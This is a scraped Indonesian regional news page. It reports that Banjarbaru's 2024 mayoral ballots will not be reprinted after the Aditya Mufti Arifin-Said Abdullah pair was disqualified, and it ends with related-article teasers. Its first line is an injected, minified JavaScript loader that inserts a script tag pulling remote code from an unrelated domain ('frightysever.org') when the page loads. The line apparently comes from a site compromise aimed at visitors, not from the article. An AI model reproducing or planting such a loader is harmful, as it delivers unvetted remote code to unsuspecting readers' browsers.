(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Surat suara Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru tahun 2024 dipastikan tidak dicetak ulang, pasca pembatalan pasangan calon Aditya Mufti Arifin-Said Abdullah.
Waktu yang mepet menjadi alasan KPU tetap menggunakan surat suara yang terlanjur dicetak dan sudah berada di gudang logistik KPU Banjarbaru.
Penggunaan surat suara itu diungkapkan Ketua Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan Andi Tenri Sompa, Minggu (17/11/2024) malam.
Baca juga: Penutup Debat Acil Odah Curhat, Nangis Ngaku Banyak Dihujat
Putusan untuk tidak mencetak ulang surat surat Pilwali Banjarbaru sudah dikoordinasikan dengan KPU RI.
“Jadi kami sudah melakukan koordiansi dengan KPU RI, karena ini kebijakannya berbeda dengan kotak kosong, terkait dengan surat suara H-29 sesuai PKPU-nya tidak bisa lagi kita mencetak surat suara, sehingga surat suara yang ada itu yang dan digunakan,” jelas Andi Tenri.
Sehingga, surat suara yang nantinya dibawa pemilih ke bilik suara pada 27 November adalah surat suara yang menampilkan dua gambar paslon. Yaitu pasangan Lisa Halaby-Wartono dan paslon yang didikualifikasi Aditya Mufti Arifin-Said Abdullah.
Baca juga: Muhidin Sumbangkan Rp6 Miliar Gaji dan Tunjangan 4 Tahun Wagub Kalsel
Namun, kata Andi Tenri, terkait petunjuk teknis (juknis) lebih lanjut, KPU Kalsel maupun KPU Banjarbaru hingga saat ini masih menunggu arahan dari KPU RI.
“Masih ada gambar (Aditya-Said), dan kami menunggu juknis dari KPU RI apakah nanti ditutup atau seperti apa perintah juknis nantinya,” sebutnya.
Sebelumnya, KPU Banjarbaru membatalkan pencalonanan pasangan calon Wali Kota dan Wakil Wali Kota Aditya Mufti Arifin-Said Abdullah kurang dari satu bulan sebelum pemungutan suara.
Baca juga: Narasi Calon Tunggal KPU Banjarbaru vs Pro Demokrasi Coblos Kotak Kosong
Diskualifikasi dilakukan atas rekomendasi Bawaslu Provinsi Kalsel dimana pasangan petahan itu dituduh telah melakukan pelanggaran administratif pada masa kampanye. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
This website uses cookies.